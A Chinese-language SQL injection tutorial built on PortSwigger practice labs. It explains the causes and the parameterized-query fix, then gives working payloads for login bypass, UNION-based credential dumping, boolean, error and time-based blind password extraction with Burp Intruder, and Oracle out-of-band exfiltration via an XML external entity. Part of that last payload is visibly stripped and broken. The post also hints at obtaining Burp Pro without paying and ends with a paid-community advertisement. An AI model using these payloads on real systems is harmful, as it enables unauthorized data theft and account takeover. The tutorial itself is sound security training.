本篇文章将系统的介绍SQL注入的原理、类型、注入方法及其防御方法。相关示例使用 portswigger 官方靶场 ,大家可以免费注册后使用。
SQL注入简介
下面先来介绍一下什么是SQL注入。
简介
SQL 注入就是借助网站上不健全的 SQL 拼接语句,将攻击者自己的 payload 拼接到原有的 SQL 语句中,使其在服务器上执行恶意 SQL 语句,使得攻击者可以对数据库进行网站运营者预料之外的增、删、改、查操作。
原理
简单来说,造成SQL注入的原因就是由于应用程序在构造SQL查询语句时未正确过滤或转义用户输入的数据、或未使用预编译等方法,造成了攻击者构造的恶意语句被应用程序执行。
造成的危害
脱库
查询隐藏数据,企业对于用户数据并不会直接删除,而是通过 delete 等字段去控制其是否可见,这里利用的就是这一特性
新增管理账户
甚至极端条件下还可以完成 getshell,获取服务器权限。
简单的测试方法
下面是一些在测试初期进行探测一个参数是否含有注入点的常见方法,
单双引号,查看是否报错,' "
算术运算,在比如 id=2 之类的地方修改为 id=1+1 查看返回的数据与之前是否一致,一致的话说明可能存在注入点
布尔条件,比如 OR 1=1 和 OR 1=2 ,比较两个响应是否有差异,如果存在注入点,前者返回的数据通常是比后者多的
时间延迟,比如 sleep(5),如果存在注入点,那么携带 payload 的请求,其响应时间应该会比正常的请求慢 5 秒
带外测试,查看你的带外平台是否收到了对应的数据
修复方法
【最推荐】使用参数化查询或预编译语句:参数化查询是将用户提供的输入作为参数传递给SQL语句,而不是将输入直接拼接到查询语句中。这样可以防止攻击者注入恶意的SQL代码。大多数主流的编程语言和数据库都支持参数化查询或预编译语句。
输入验证和过滤:对所有用户输入的数据进行严格的验证和过滤,确保只有合法和预期的数据才能通过。使用白名单过滤或正则表达式验证来限制输入的格式和范围。
最小化特权:确保应用程序连接数据库时使用的数据库账户具有最小的权限,只能执行必要的操作,并限制对敏感数据的访问。
使用ORM框架:使用对象关系映射(ORM)框架可以自动处理查询和参数绑定,减少手动拼接SQL语句的机会,并提供一定程度的安全性。
避免动态拼接SQL语句:尽量避免在应用程序中动态拼接SQL语句,特别是将用户输入直接拼接到查询语句中。如果必须使用动态SQL,确保正确地转义和处理用户输入。
错误处理和日志记录:正确处理数据库错误,避免将敏感错误信息暴露给攻击者。同时,定期审查和记录应用程序的日志,以便及时发现并响应潜在的注入攻击。
参数化查询
这里我将通过一个例子来解释什么是参数化查询。
对于大部分存在SQL注入的代码,他们大部分是这样写的:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";Statement statement = connection.createStatement();ResultSet resultSet = statement.executeQuery(query);
发现了吗,你的注入语句就是被带入了上面的 input 变量,而 payload 中的单引号闭合了原有的语句,从而造成了SQL注入。
那么使用了参数化查询的代码是什么样子的呢:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");statement.setString(1, input);ResultSet resultSet = statement.executeQuery();
这里主要使用了 java.sql 中的 PreparedStatement 接口,它可以动态的将变量插入到SQL语句中的占位符 ? 的位置,同时也可以有效的防止SQL注入(如果数据库报错返回的代码里有 ? 就可以直接放弃了,当然如果请求包的参数里有 desc asc 这样的参数,也可以尝试一下,因为 ? 不能用在 order by 这样的字句中)
在使用 PreparedStatement 时,SQL语句的结构是固定的,即预编译的。用户提供的数据不会直接用于构建查询,而是在执行时替代占位符。这意味着数据被数据库驱动视为纯粹的数据,而不是SQL指令的一部分。数据库驱动则会负责将提供给占位符的参数值转义,确保这些值不会被当做SQL代码执行。例如,如果用户输入包含了SQL的关键字或特殊字符(如单引号'),这些字符将被自动转义,从而消除了注入攻击的风险。
SQL注入的分类
下面将会从 攻击原理、数据类型、提交方式 等方向各自进行分类的介绍,帮你满足不同类型的面试官
基于攻击原理进行分类
报错注入:就是页面会返回报错信息,或者把SQL语句直接返回在页面中,如果是后一种会更加方便攻击者分析语句,完成 payload 的闭合。常用的函数有:ExtractValue、UpdateXml、concat
联合注入:简单来说就是可以执行 UNION SELECT 语句,就是联合注入
延时注入:又叫时间型盲注,通过执行如 sleep(5) 之类的函数,使得存在漏洞的响应会明显慢于正常响应
布尔盲注:布尔盲注不会直接返回查询结果,而是通过应用程序的响应或行为差异来推断查询结果的真假,比如常见的 id=1 OR 1=1,如果存在漏洞的话原有的语句 where id = 1 会变成 where id = 1 OR 1=1,这样的话返回的数据会明显多于原有响应,布尔盲注利用的就是应用程序基于不同布尔值的不同响应来判断注入是否成功的。
堆叠注入:简单地说就是使用 ; 分号分隔两个SQL语句,在应用程序执行完原有语句之后,再执行我们的 payload
二次注入:二次注入适用于应用程序不信任用户输入的数据,对于用户输入的数据会在过滤关键字后执行,但在另一个功能点新增数据的地方却是正常保存,当我们通过其他功能调用该条数据的时候,由于其来自于系统自己的数据库,所以没有对其进行过滤等手段,而是直接执行,导致攻击者绕过了系统的防御措施
基于数据类型进行分类
数字型:这个没什么好说的,就是 id=1 之类的地方
字符型:这个多见于切换就页面之类的地方,如 type='number'
搜索型:这没啥好说的,就是搜索框之类的
基于提交方式进行分类
GET 型:指的就是 GET 请求中的参数
POST 型:指的是 POST 请求中的参数
Cookie 型:指的是 Cookie 中的键值对存在注入点
header 头:指的是其他的 header 头存在注入点
如何区分数据库
这里将介绍一下常见数据库的区别,我们可以通过这些数据库之间的差异来判断该应用使用的是什么数据库,从而有针对性的进行测试
SQL注入详解
下面的案例将通过 PortSwigger 的靶场进行示范
万能密码
进入靶场后,可见要求以 administrator 账号登录,点击前往靶场
那就没啥说的了,账号已经给了,直接注释后面的密码校验部分即可 administrator'--+ 或 administrator"--+ 具体用哪个就看后台用的是什么闭合的SQL语句了
前面试了 " 闭合,发现不是,那就是 ' 闭合,就进去了,靶场就这么过了
联合查询
关键点
要进行联合查询又两个关键的前提条件:
union select 查询的列数要和它之前的语句返回的列数相同
每列的数据类型要相同
如何判断列数
看返回的数据有多少个字段,前提是后台查几列就在响应中返回几列,中间没有做删减或增加,点击进入靶场
使用 order by 尝试。' order by 1--+ ' order by 2 --+ 一直往上加,直到没有数据返回或系统报错,那么后台的sql语句就是返回了 n-1 列
如下图,'+order+by+3--+ 可返回数据, '+order+by+4--+就没有报错了,说明就是3列
使用 ' union select null --+ 尝试。' union select null --+ ' union select null,null --+ ' union select null,null,null --+ 一直往上加,直到有数据返回,那么有几个 null 就说明有几列
如下图,'+union+select+null,null,null--+ 可返回数据, '+union+select+null,null,null,null--+4个null和2个null都是报错,说明就是3列
对于 oracle 这种每个 select 都必须使用 from 指定表的,可以使用 dual 这个内置表,即 ' union select null from dual--+
如何判断数据类型
在按上面的方法测试出列数之后,就要测试它的各列的数据类型了,可以使用 ' union select 'a',null,null --+ 来尝试各种数据类型
使用 '+union+select+1,null,null+--+ 返回数据,使用 '+union+select+'z',null,null+--+ 报错,说明第一列是整形,后面的也一样就不再赘述
只返回一列数据的情况
如果系统本身只返回一列数据,而你想要的数据是账号密码这种多列数据该怎么办呢?
这里可以使用连接符把两列合并起来,在一列中返回,下面给出四种常见数据库的字符连接方式
Mysql -> 'foo' 'bar' (两者中间有空格) CONCAT('foo','bar')
PostgreSQL -> 'foo'||'bar'
Oracle -> 'foo'||'bar'
SQL server -> 'foo'+'bar'
靶场演示-返回数据库版本
进入靶场后可见只有如下部分可以进行点击,所以注入点也一定只能存在这里,点击进入靶场
下一步拦包后进行分析,随意选择一个标签点击后,输入 ' 报错 内部服务器错误
输入 " 之后虽然没有响应内容,但是也没有报错,可以初步判断原代码中可能是使用 单引号 进行的参数闭合,原语句可能是 sql = "SELECT * FROM database.tables WHERE type = '" + parameter + "';"拼接后的语句就变成了 SELECT * FROM database.tables WHERE type = 'Lifestyle'';,所以造成了上面的服务器报错,而 'Lifestyle"' 只是吧 Lifestyle" 整个当成以一个参数去查询,当然不会查到东西了。
那下一步就该上 payload 了,这个题的要求是查看数据库版本,那我们要解决的问题就是判断出它使用的是什么数据库,同时在响应中输出sql执行的结果,为了让查询结果在页面上显示出来,我们使用 union select 输出一个字符串,同时可以使用上面 如何区分数据库 中的相关语句进行数据库判断。
这里需要插播一个UNION的注意点,UNION的使用前提是第二个查询语句的列数以及数据类型要与第一个查询语句的结果相同,所以我们看一下原有的数据,可以猜测查询结果应该是有两列,一列标题,一列介绍,而且都是 字符串 类型
所以我们的语句可以构建为 union select '123','456' 这样的类型,当然最后需要加上注释符,注释掉原有的语句
首先测试是否为 oracle 数据库,那么语句就是 '+union+select+'version',version+from+v$version;--+ 可见报错,语句应该是没什么问题的,那么试试其他的类型
再来试试 Microsoft SQL Server,语句就是 '+union+select+'version',@@version;--+,可见没有报错,同时返回了数据库版本,但 @@version SQL Server 和 Mysql 都支持,下面试试 version(),如果也能正常返回,那说明就是 mysql,因为 SQL Server 只支持 @@version
可见同样返回了数据库版本,那就说明该案例使用的是 Mysql 的 8.0.35-0ubuntu0.20.04.1 版本
其实在上面第9步有一个偷懒的法子可以直接确定数据库类型,复制去问 GPT 就好了
靶场演示-返回系统账号密码
这里我们就不再赘述数据库类型判断,列数判断,各列类型判断,直接给出结论(PostgarSQL数据库、两列、string),如果不懂可以参考上面的内容,点击进入靶场
注入点依然在类型切换上,要求是获得 administrator 账号并登录
这里涉及到一个知识点,大部分数据库(除了Oracle)都是有一个类似于 information_schema 这样的库用来存放库表列名的,所以可以根据这个来查询数据库中所有可能含有用户账号的表名,再查询这个表下的列名,之后再获取具体的字段值。思路成立,实践开始
首先查询数据库中的所有的表,payload如下 ' union select TABLE_CATALOG,TABLE_NAME from information_schema.tables--+
这里我们直接过滤 'users' ,看到一个 users_gveztv 的表
然后就是查这个表一共有些什么字段,看看是不是我们想要的,payload 如下 ' union select null,COLUMN_NAME from information_schema.columns where table_name='users_gveztv'--+
这里我们再次过滤 'pass' ,可以看到有 username 和 password 字段,那基本上就稳了,下一步查询具体的值
查询账号密码,payload 如下 ' union select username_lfhweg,password_ytycem from users_gveztv--+,然后搜索 admin 即可看到账号密码,登录即可过关
小结
到这里联合注入就基本上介绍完了,总结以下要点
找到注入点,可以用 单双引号,and,or 都可以,看个人习惯吧
判断返回数据的列数,可以使用 union select null,null.... 或 order by 1,....n 去尝试
判断各列的数据类型,可以使用 union select 'x',null.... 依次替换数据类型去试
判断数据库类型,这里主要用到的是各种数据库查询版本语句的差异来进行的,比如Mysql支持 version()和@@version,而 PostgreSQL 只支持 version(), SQL Server 只支持 @@version
下面就是看你的目的是什么了,证明漏洞存在的话到 数据库版本这里就可以打住了,如果要扩大危害,可以去查管理员账号,然后登录之后看看管理员有没有其他普通用户没有的功能,再测一遍,但现在的实际生产环境中,密码明文保存的可能性极低,最次也是MD5,能不能破解出来全看运气,如果是 BCrypt 那就更没有可能破解出来了
盲注详解
什么是盲注
盲注相比于联合查询注入最大的区别就是后台不会把你 payload 的执行结果在响应包中显示出来,你就没有一个直观的判断方法,甚至有的系统会统一报错内容,使用 单双引号 这类方法很可能发现不了注入点,那岂不是就错过了一个高危甚至严重的漏洞?
但其实还有很多盲注方法可以发现这些漏洞,比如 布尔型盲注、时间型盲注、报错型盲注
布尔型盲注
布尔型盲注介绍
简单的来说,就是在执行的语句后再加一个可控的布尔条件,使得服务的SQL语句执行出不同的结果,返回不同的响应。
如果一个 cookie 中存在注入点,但是应用并不会在你添加 ' " 之后报错服务器错误,或者语法错误,程序猿们把对应的错误全部改为了响应 '用户未登录',这样你没办法通过这个报错来判断这里存在注入点。因为这是肯定的,因为如果你的 cookie=123 你修改完是 cookie=123' 那这个cookie 对应的用户当然未登录,这是符合逻辑的。
但是这里系统使用的是这样的查询语句呢 select cookie from users_cookie wherer cookie='123',我们是不是可以试着补全他,让他返回不一样的响应。
比如 我输入 123'+and+'1'='1 它就变成了select cookie from users_cookie wherer cookie='123'+and+'1'='1')
那我在改成 123'+and+'1'='2 它就变成了select cookie from users_cookie wherer cookie='123'+and+'1'='2')
我们可以发现 第一个语句是成立的,因为 cookie 存在且 1=1 ,但是第二个语句是不成立的,因为 cookie虽然存在,但是 1!=2 ,那么第二次就会提示 '用户未登录',那么差异就出来了,我们就发现了这个注入点。
靶场演示-获取administrator账号密码(布尔盲注)
任务简报
这个靶场有一个盲注漏洞,后台会执行SQL语句查询用户提交的 cookie 是否存在于users表(这个表有 username 和 password 两个字段),但是执行的结果并不会返回在响应包里,你也就不能使用联合查询来注入了。但是如果 cookie 无法查询到的话应用没有报错也没有数据返回,如果 cookie 查询到了,那会返回一个 "Welcome back",所以我们可以使用盲注来一个字符一个字符的将密码猜解出来,然后登录即可完成任务
任务过程
点击进入靶场
首先确认注入点,在 cookie 的 trackingId 值的后面添加 ' ,并在响应中搜索 'Welcome back',可见未修改cookie的情况下响应有一个 'Welcome back',添加一个和两个单引号都没有找到 'Welcome back',在正常情况下使用两个单引号闭合语句之后应该返回和未修改时一样的响应,但这里并没有,如果只靠单引号判断的话这里就错过了呦
这里我们再添加上布尔条件试试,' and '1'='1 和 ' and '1'='2,前一个结果为真,应该返回 'Welcome back',后一个结果为假,不应该返回 'Welcome back',现在让我们看看结果和预想的是不是一样的,如果一样,那就说明存在注入点
好,上面说明存在注入点,那么我们下面看看存不存在 users 这个表, ' and (select 'a' from users limit 1) = 'a ,这个语句的原理在于select 'a' from users limit 1 执行成功后会返回一个 'a' 使得该查询 cookie 的语句成立,返回 'Welcome back'
一切和任务简报中给的一样,那么下面就是找找里面有没有 administrator 这个用户,一样的语句 ' and (select username from users where username='administrator') = 'administrator ,这里当然也是存在的
那我们接下来就是看看它的密码到底是几位,这里可以用 length() 函数加上 大小比较来搞定,我们先看看它是不是小于 10 位,payload' and length((select password from users where username='administrator')) < '10
没有返回 'Welcome back' 说明密码长度大于10,那我们就继续往上加 20 30 ,最后我们是在 30 处返回了 'Welcome back' 说明密码大于20小于30位
下面我们通过 二分法 确定具体的位数,这里就补在占用篇幅,一样的语句只是修改后面的数值即可,直接给出结论,密码长度为 20
那下面就是枯燥无味的尝试了,10个数字+26个小写字母+26个大写字母,用 = 判断的话一共要尝试 1240 次,有编程基础的同学可以使用 脚本来完成这个过程,没有的话可以使用 burp 的 Intruder 模块来减小工作量
这里用到的语句是 ' and substring((select password from users where username='administrator'),1,1) = '0,其中 substring(a,b,c) 的作用的从a字符串的第b位开始截取c个字符,所以上面的语句就是取密码的第一位,看是不是等于0,由于脚本的话不如直接用 sqlmap,自己写的也只是适用于单个项目,所以这里我们先用 burp 来完成这个靶场。
来到 Intruder ,选择 Cluster bomb 模式,在 substring()的b参数和对比的0上添加变量
payload 1 选择 number,设置1-20,步长为1;payload 2 选择列表,把0-9 A-Z a-z 都放到里面
下面就直接开干,在 attack 页面过滤 'welcome back',可见把每一位的值都遍历了出来
最后administrator的密码就是 y96oysbzklfevyzfu0eh,登录收工
报错型盲注-不回显报错
介绍
不知道各位有没有遇到过这样的功能,一个请求发送了好几个参数,但是不管你如何修改参数的值,他返回的都是一样的结果,而不会返回你构造的比如union的查询结果,这种时候该怎么办呢?
我们可以想办法让它的SQL语句报错,看看响应会不会有差异,但是只是这样似乎不能证明这里执行了你的 payload 啊,比如一个要求是整形的参数,你改了一个字符串 'x',这它报错不是应该的吗。
所以我们需要让它是在语法正确的情况下报错,比如满足 1=1 的时候报错,不满足的时候不报错,这就需要用到我们下面的这个函数了
case when (1=1) then 1/0 else 'q' end
它的意思是,当 1=1 的时候计算 1/0 是多少,否则输出 'q',由于 1/0 会导致数据库报错 'divide-by-zero' (对于 MySQL 5.7.8 之后的版本,可能不会报错,而是返回一个 NULL,具体取决于数据库的配置情况)
那么当1=1的时候服务器响应报错,1=2的时候他又不报错了,是不是就说明服务器执行了我们的SQL语句,这个漏洞也就被发现啦!
靶场演示-获取administrator账号密码(报错盲注)
任务简报
此靶场包含一个SQL盲注入漏洞。该应用程序使用跟踪cookie进行分析,并执行包含提交cookie值的SQL查询。
SQL查询的结果不会返回,应用程序也不会根据查询是否返回任何行而做出任何不同的响应。如果SQL查询导致错误,则应用程序将返回自定义错误消息。
该数据库包含一个名为users的不同表,其中的列名为username和password。您需要利用盲SQL注入漏洞来查找 administrator 用户的密码。
以 administrator 用户身份登录则通关。
任务过程
点击进入靶场
注入点还是在 cookie 的 TrackingId 上,我们发现一个单引号报错 Internal Server Error 两个单引号正常返回信息,那说明这里是存在注入点的
那我们先来测试一下联合注入的效果怎么样,这里由于已经给出了存放用户名密码的表明和列名,我们直接使用下面的 payload ' order by 1 --+ 测出只有一列返回值,但是在使用 ' union select null --+ 时系统报错了,虽然不太清楚后台是把 union select 加了黑名单还是怎么回事,但是联合查询肯定是没戏了
那联合查询不行,布尔盲注呢,我们来试一下,可以看到 1=1 和 1=2 返回的数据长度都是一样的(5264),那么就无法根据响应的差异来判断条件是否成立,来盲注出账号密码了
下面就试试这节的报错型注入吧,我们在第一步已经通过单引号造成了它的语法报错从而导致服务器响应500,那么我们下一步就是要构造出一个正确的语法,来让我们可以有条件的重现报错,来遍历出它的 administrator 密码
首先我们来给它原有的查询语句的 where 条件拼接一个空字符,这样理论上讲是不会造成语法错误的,而且查询的结果也不会改变,返回的应该是和未修改时一样的数据,这里我们使用 '||(select '')||' 进行测试
拼接后的语句可能是 select ... from ... where trackingId='glF5yaHU2Lm8ftmV'||(SELECT '')||''
这个语句相当于 select ... from ... where trackingId='glF5yaHU2Lm8ftmV' 就是没有修改
我们可以看到,它还是报错了,这是因为有的数据库在使用 select 的时候必须指明要查询的表,比如 Oracle 数据库,所以我们来修改一下payload '||(select '' from dual)||'
从上面可以确认这是一个 Oracle 数据库,那接下来我们就输入一个不存在的表,看看会不会报错
从上一步我们可以发现,在语法正确的时候,也是可以让服务报错的,那下面就看看有没有 users 这个表,这里有一个需要注意的点,在使用 子查询 时,其返回的结果必须只有一行,也就是说需要限定条件,payload '||(select '' from users where rownum = 1)||'。
【补充】对于 Oracle 数据库,我们可以使用它的 ROWNUM 伪列来实现,你可以把他理解成一个 mysql 的id,但是它和id还不一样,Mysql的id是固定对应一条数据的,而 ROWNUM 是针对当前查询结果动态生成的,也就是说同一个 RUWNUM=1 是每次查询结果排序后的第1行数据,但这个数据并不一定处于数据库的第1行
所以可以肯定是存在 users 这个表的,那下一步就是试一下我们的 case when 语句能不能用,然后就爆破密码了,payload '||(select case when (1=1) then to_char(1/0) else '' end from dual)||'
【补充】大家可能注意到这里的 1/0 于之前介绍时的不太一样,这里加上了一个 to_char 函数,这是因为在 Oracle 数据库中,即使当前条件不会执行 1/0 它也会在评估 CASE 语句时检查所有潜在的路径,也就是说,不管条件是什么样的,1/0 一定会被执行,那么 1=1 和 1=2 就都会抛出 divide-by-zero 错误,所以这里通过 to_char() 来包装 1/0 使其延迟对 1/0 的计算,直到必须走这条路径时再计算 1/0 抛出错误
然后就是判断 administrator 这个用户是否存在, payload '||(select case when (1=2) then to_char(1/0) else '' end from users where username = 'administrator')||'
存在 administrator 那么我们看看他是多少位的,这里我们直接用 Intruder 去跑,payload '||(select case when (length(password) = 1) then to_char(1/0) else '' end from users where username = 'administrator')||',这样的话哪个报错,就是几位
上一步既然爆破出了位数,那么下一步就是爆破密码了,让我们丰富一下 payload '||(select case when substr(password,1,1)='1' then to_char(1/0) else '' end from users where username = 'administrator')||' Intruder 设置如下
等待爆破结束,密码也就出来了 (4c3ahujk9laxc1sknpi0),登录过关
报错型盲注-回显报错
介绍
可能大家见过这种情况,响应包中虽然不回显SQL语句的执行结果,但是如果报错了,会有数据库错误的回显,这个时候可以使用报错型盲注来夹带私货,让他返回你想要的东西,这里我们已 PostgreSQL 数据库的 cast() 函数为例进行演示。
靶场演示-获取administrator账号密码
任务简报
在 users 表里存放有 administrator 的账号密码,获取它并登录,注入点在 cookie 的 trackingID。
任务过程
使用 单引号 即可发现响应中包含了数据库报错信息
上面的报错信息提示含有未闭合的字符串文字,那我们就用 --+ 注释掉后面可能存在的其他语句,同时完善 cast 函数来外带数据,payload ' and cast((select 1) as 1)--+
上面的报错提示"and 必须是布尔条件,不能是整形",那我们就给它加上一个布尔条件, payload ' and 1=cast((select 1) as int)--+
可见上面的语句已经没有问题了,下面就试试完整的语句吧,payload ' and 1=cast((select username from users) as int)--+
上面我们可以看到,它又一次报错 "未闭合的语句",同时我们的 payload 似乎被截断了一部分,导致后面的 '--+' 没有生效,下面我们就要看看到底是对输入的长度有限制,还是只截断后面的 8 位,所以我们再加长一下语句 ' and 1=cast((select username from users limit 1) as int)--+
从上面的测试可以确定是对输入限制了长度,我们只能输入44个字符的payload,那就只能对不起前面的trackingid了,把它删了看看结果,反正我们的目的也是让它报错,cookie对不对无所谓。
可见报错'返回的子查询结果是多行的,它需要是一行的'那就限定一下行数呗,payload ' and 1=cast((select username from users limit 1) as int)--+
可以看到报错成功返回了用户 'administrator' ,那就可行,直接把 username 换成 password 就行了
密码到手,登录收工。
时间型盲注
介绍
在了解了上面的报错型盲注后,大家可能会有一个问题,如果应用程序捕获了这个报错并正常处理了呢,这该怎么处理,这样的情况下服务器的响应和正常的报错不会有任何区别,那我们就没办法了吗?
当然不,服务器执行SQL语句通常是由程序同步处理的,这也就意味着服务器需要等待SQL语句执行完成才会给客户端响应,那我们就可以使用 如 sleep() 这样的函数,去让SQL语句执行的时间变长,从而导致服务器响应的时间会与正常请求有明显的差异,这也就成为了我们用来判断是否存在注入点的条件。
靶场演示
任务简报
这里的条件和之前的两个盲注靶场差不多,同样是给了表名 users 和字段名 username 和 password,注入点同样在 cookie 的 TrackingID,那么下面就让我们狠狠地转注入吧
任务过程
同样是在注入点开始尝试 单引号
可见后台对报错进行了处理,响应并没有任何区别,那下面就试试延时注入,由于我们并不知道后台使用的是什么数据库,所以我们就都试一下,由于需要使用 分号 闭合原有语句,所以我们需要用到 "%3B" 代替 ";"
由上我们可以判断出这是一个 PostgreSQL 数据库,下面就让我们测试SQL语句吧,先测一下条件查询,payload '%3Bselect case when (1=1) then pg_sleep(5) else null end--+
我们可以看到,基本是没什么问题的,下面加入表判断,payload '%3Bselect case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users--+
可见是存在 users 这个表的,并且里面也确实有 administrator 这个用户,,那我们就需要看一下它的长度是多少了 payload '%3Bselect case when (username='administrator' and length(password) = 20) then pg_sleep(3) else pg_sleep(0) end from users--+ 由于前面几个实验的密码长度都是 20 所以我们合理的怀疑这里也是 20 就不再尝试其他的值了
知道密码是 20 位之后,就可以开始爆破密码了,payload '%3Bselect case when (username='administrator' and substring(password,1,1)='1') then pg_sleep(3) else pg_sleep(0) end from users--+,由于 intruder 的配置问题前面已经介绍过两次了,这里就不再赘述,这里唯一不同的是需要在 Attack 中打开 columns 的 'Response received' 选项,来查看他们的延迟时间
输入密码 'f6vrn5gyoqed1v9k9fm9' 登录收工
数据外带
介绍
如果目标站点对SQL语句的执行是异步处理的,比如使用原始线程处理客户端的请求,使用另外一个线程处理SQL语句的执行,同时对数据库报错进行捕获和处理,这就使得上面例子中的基于报错和延时的SQL注入无法成功实行。因为应用程序的响应不再取决于返回任何数据的查询、发生的数据库错误或执行查询所花费的时间。
这时就可以用到我们现在介绍的数据外带了。简单的说,就是让应用程序携带上你想要的数据去访问你指定网站,这样你就可以通过 DNS 记录来看到传回的信息。
靶场演示
任务简报
这是一个异步跟踪用户访问的应用程序,注入点不影响应用的正常响应。
注意,只能使用 burp 的默认服务器,官方的防火墙不允许实验室于其他第三方网站交互,这就意味着其他的 DNSlog 平台不能复现这个漏洞
这里我主要讲一下下面靶场要用的 Oracle 数据库的数据外带方法,想了解其他数据库的可以复制上面 各数据库差异表 中的语句自己百度即可
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>\+%25remote%3b]>'),'/l')+FROM+dual--
这样可能不太好看,我们来拆分一下
# 去掉前面的 union 后的语句是下面的,union 这里只是起到联合查询的作用,单独执行没有它也可以# extractvalue函数尝试解析这个XML并提取数据,这个过程会触发外部实体的加载。select extractvalue(xmltype(' # XML声明,指定版本和编码 # 定义了一个名为root的文档类型定义(DTD) # 引用了上面定义的远程参数实体 %remote; ] > '))
任务过程
这里我们需要用到 burp 的 Collaborator 模块来进行测试,所以需要提前看一下 这个模块能不能用(需要burp专业版,没有的自己找资源),我们来到 Setting -> Project -> Collaborator 下,点击 Run health check,检测全绿,就是可用的状态。如果报错 Polling Server Connection 连接失败,可以使用手机热点试试。点击进入靶场
这里我们使用上面各数据库差异表中提到的数据外带即可,payload '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual-- 将其中的 Burp-Collaborator-domain 替换为你自己的即可
即可通关
这个靶场的目的是获取 administrator 的密码,由于数据库类型、注入点,都和上一个一样,所以这里就继续往下讲,点击进入靶场
在上面第二步的payload中加上我们的查询语句即可 '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--
密码到手,登录收工
好了。到这里SQL注入的介绍就已经完成了,至于二次注入,由于它使用的技术还是上面的那些,区别只是在于需要先将提前构建好的SQL语句保存在目标系统的某个功能中,之后在通过该系统的查询功能去查询那条数据,从而触发二次注入,所以这里就不再另做介绍了。
如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款